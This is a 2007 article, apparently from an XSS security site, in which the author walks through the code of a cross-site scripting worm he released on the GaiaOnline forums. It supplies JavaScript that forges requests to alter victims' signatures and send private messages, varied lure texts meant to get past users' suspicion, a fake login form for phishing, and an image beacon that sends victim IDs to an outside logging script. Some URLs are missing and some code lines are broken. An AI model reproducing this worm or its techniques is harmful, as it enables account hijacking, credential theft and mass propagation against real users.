Paper: Anatomy of a "Pseudo-Reflective" Worm

Written by Kyran

Tuesday, 20 February 2007


1. Introduction
2. The Worm
2.1 Beginning
2.2 AJAX Basics
2.3 Propagation
2.4 Social Engineering
2.5 Logging
3. Conclusion
3.1 Notes
3.2 Special Thanks and Acknowledgements

1. Introduction

There are two types of XSS(Cross-Site Scripting attacks, persistent which are stored on the server and require a user to merely view a page, as well as reflective which exists in the URI and requires the user to click a link to be affected. Reflective are more common while persistent vulnerabilities are thought to be more dangerous. Most javascript worms use persistent XSS attacks in their code. Prior to the first version of this worm, there were no documented cases of a worm using a reflective payload. This paper will demonstrate how a worm, can propagate via a persistent method, using a reflective payload.

2. The Worm
2.1 Beginning

First I need an XSS vulnerability, there were no persistent ones I had at the moment on the site
Luckily I had several reflective ones. In this case, the page was
The attack vector was a simple one.


So, we could easily add a src attribute and have remote execution, let's do that.

"><script src=></script><noscript>

I need the noscript tag to prevent the worm from running several times.
Let's remember the vulnerable page and put it in a variable, this way if the hole is fixed we can adapt quickly.

sO =

Now we just need to be able to send data to other pages, so we can perform actions on behalf of the user.

2.2 AJAX Basics

AJAX(Asynchronous Javascript And XML) is a core feature of the hyped Web '2.0'. It has many legitimate uses, but we can abuse it a bit.
But, there are separate implementations of it in different browsers. We need to be able to deal with this.
(Besides, web developers are always being nagged at to write compatible standards-compliant code. ;D)

var xmlhttp; // Setup a variable.
try { // This checks for alternate browsers such as Opera or Firefox
  xmlhttp = new XMLHttpRequest();
} catch (e) { // Oops, not one of those. Try different IE implementations.
  var XHR = new Array('MSXML2.XMLHTTP.5.0',
  var success = false;
  for (var i=0;i < XHR.length && !success; i++) {
    try {
      xmlhttp = new ActiveXObject(XHR[i]);
      success = true;
    } catch (e) {}
  if (!success) {
    throw new Error('No XHR object'); // No XMLHttpRequest object? Is this 1990?

Now we have the XMLHttpRequest object for most browsers in the variable xmlhttp. We have the ability to send requests to different pages.
(Only this domain though, not even a different subdomain. Security restrictions in browsers)
So what do we do now?

2.3 Propagation

Let's spread this XSS vulnerability to other users! But how? Let's use our new xmlhttp object.
We need to generate a random number to use as a user ID.

var prId = Math.floor(Math.random()*699999);

This generates a number up to 699999. Not really a particular point to it, just something I decided on.
One could easily find the latest user ID and generate a number up to that point, to ensure every current user was included.
Now we need data to send to another page. This is a forum site, so let's use BBCode. Which page? Let's add it to the users signature.
(AJAX executes as the infected user, as well as passes cookies along with the request.)

var bbUrl = "[url=" + sO + escape('') + "][size=25]Dont click me[/size][/url]";

Inside of escape(''), we put the attack vector ("><script etc), but URI hex encoded (%22%20 etc).
This is because when it is send to the server, it is unescaped once. So the HTML is in the PM instead of a proper URI.
We want the proper URI so the BBCode will parse properly into a link and the worm will spread.
Now to actually add it to the infected users signature.

var targetURI = "/account/signature/"; // URI to send params to
var params = "signature=" + bbUrl; //Params to send to targetURI - In this case, changing the signature."POST", targetURI, true); //Open XHR and then set headers.
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(params); //Send the parameters to the target.

We have now sent a request using AJAX to another page, impersonating the actions of the user making them change their signature.
Then we go on to do similar actions, such as PMing the BBCode linking the reflective payload or commenting another user with it.

2.4 Social Engineering

The worm now sends the BBCode to the infected users signature, but how else can we spread it and make sure the link is clicked?
We can send it via Private Messages, but when I released the first version of this worm, I found many users noticed the messages.
This was because of identical subjects and content. It causes too much 'noise' and the hole was fixed quickly.
So, let's make sure there are different ones.

function gQ() {
var quote=new Array(10)
   quote[0]="Free avi art at my shop...";
   quote[1]="Don't click me :ninja:";   
   quote[2]="Rate my avi in this contest!";
   quote[3]="Read my Journal!!";
   quote[4]="Did you see this!?";
   quote[6]="Come check this out";
   quote[7]="You should go here..";
   quote[8]="Go check this out plx ;)";
   quote[9]="Click this.";

   return rM = quote[rN];

Now when we call the function gQ(), we will get returned a semi-random quote.
I'll make a similar function with different results for the subject of the PMS, called gS().

Remember the variable bbUrl where we escaped the attack vector? Well, instead of "Dont click me", we use the function gQ().
This makes the text between the [url] codes different, so it seems to be a different message if they recieved one already.
Let's call it bbUrl2 and send the PM like this.

function pmSend() {
  var targetURI = "/profile/privmsg.php";
  var params = "mode=post&username=" + prId + "&subject=" + gS() + "&folder=inbox&post=true&message=" + bbUrl2;"POST", targetURI, true);
  xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xmlhttp.setRequestHeader("Content-length", params.length);
  xmlhttp.setRequestHeader("Connection", "close");

It is delayed to make sure the page is loaded and the other AJAX requests are complete.
Notice in the variable 'params', the function gS() which we setup to generate the subject of the message.

Now we rewrite some of the page. This part is really basic. Grab some HTML, probably a copy of the login form.
Replace the attribute 'action' in the form to the location of your log script and then put it in something like this.

var nF = '<form etc>';

This replaces a div on the side of the page with your fake login.
Then replace the main div with an error or another login.

var nF = '<h1>Error!</h1>';

We now have the worm pretty much complete. But how will we track all of this data and get the information we phished?

2.5 Logging

How do we know what user is currently running the worm? Let's find his user ID.
Luckily, GaiaOnline puts the userid into the logout link. Probably a method to prevent CSRF.

var dC = document.body.innerHTML
var start = dC.indexOf("userid=");
var end = dC.indexOf('"',start);
var token = dC.slice(start,end);

This part took me awhile. First we toss the entire page into a variable, then use indexOf to find the first case of it.
Luckily, we know userid= is followed by a number then a quote. We use indexOf to store this too.
So now we slice the data between the points and toss it into the variable 'token'.
This is the user ID of the person running the script.
Let's create an image pointing to a logging script, with the 'prID' variable we generated earlier that has another users ID,
as well as the newly found variable 'token'.

i = new Image()
i.src = "" + prId + "|Sent from-" + token;

In modern browsers, a GET request is sent to the location of an image element. This passes our data along to the script.
Let's also verify that the user put the correct credentials in. We can start by passing 'token' along with the fake phishing login.

var nF = '<form action=""><input type="text" name="username" value=""><input type="hidden" name="uid" value="' + token + '"></form>'

When going through the logs of steal.php, we can search to see if the uid matches up to the username.
This will be done by editing an address, such as...

Code:[Put the uid here]

3. Conclusion

After all this, we put it together and get a worm similar to this one.
I suggest you use Notepad++ or another text editor with syntax highlighting to read it.
Since the worm requires user interaction, it may not spread as fast as a persistent one, but it is much easier to re-release it.
This is because, as mentioned, reflective XSS vulnerabilities are much more common to find. This allows for more frequent attacks.

3.1 Notes

The worm was not as 'featured' as it could have been. Kuza55 suggested I use a RCSR(Reverse Cross-Site Request) vulnerability to abuse the Firefox password manager which could have been implemented. It also did not do  as many CSRF actions as it could have, such as changing the users  name, e-mail or other account information.

The vulnerability mentioned in this paper was disclosed on the GaiaOnline forums quite awhile before this worm was even thought of.
Since it did not seem it would be fixed any time soon, it gave me ample time to 'play around'.
Although, this does not mean GaiaOnline is in any way particularly 'insecure'. It is, but it is also not alone.

70 to 80% of sites all have XSS flaws as suggested by DarkReading:
Even sites that are labeled secure by third party security companies have flaws as seen in the following articles:

3.2 Special Thanks and Acknowledgements

Thanks to RSnake for hosting great resources like the sla.ckers forums ( as well as the XSS Cheat Sheet. (
He also gave his opinion on the worm and helped me clean up my code. (Although I think after a few rewrites most of it was lost. Hehe.)

Thanks to Kuza55 ( for some important ideas about logging.

Thanks to Sid/WhiteAcid( and for making sure I used date() in my logging.

Share this content:
Home | News | Articles | Advisories | Submit | Alerts | Links | What is XSS | About | Contact | Some Rights Reserved.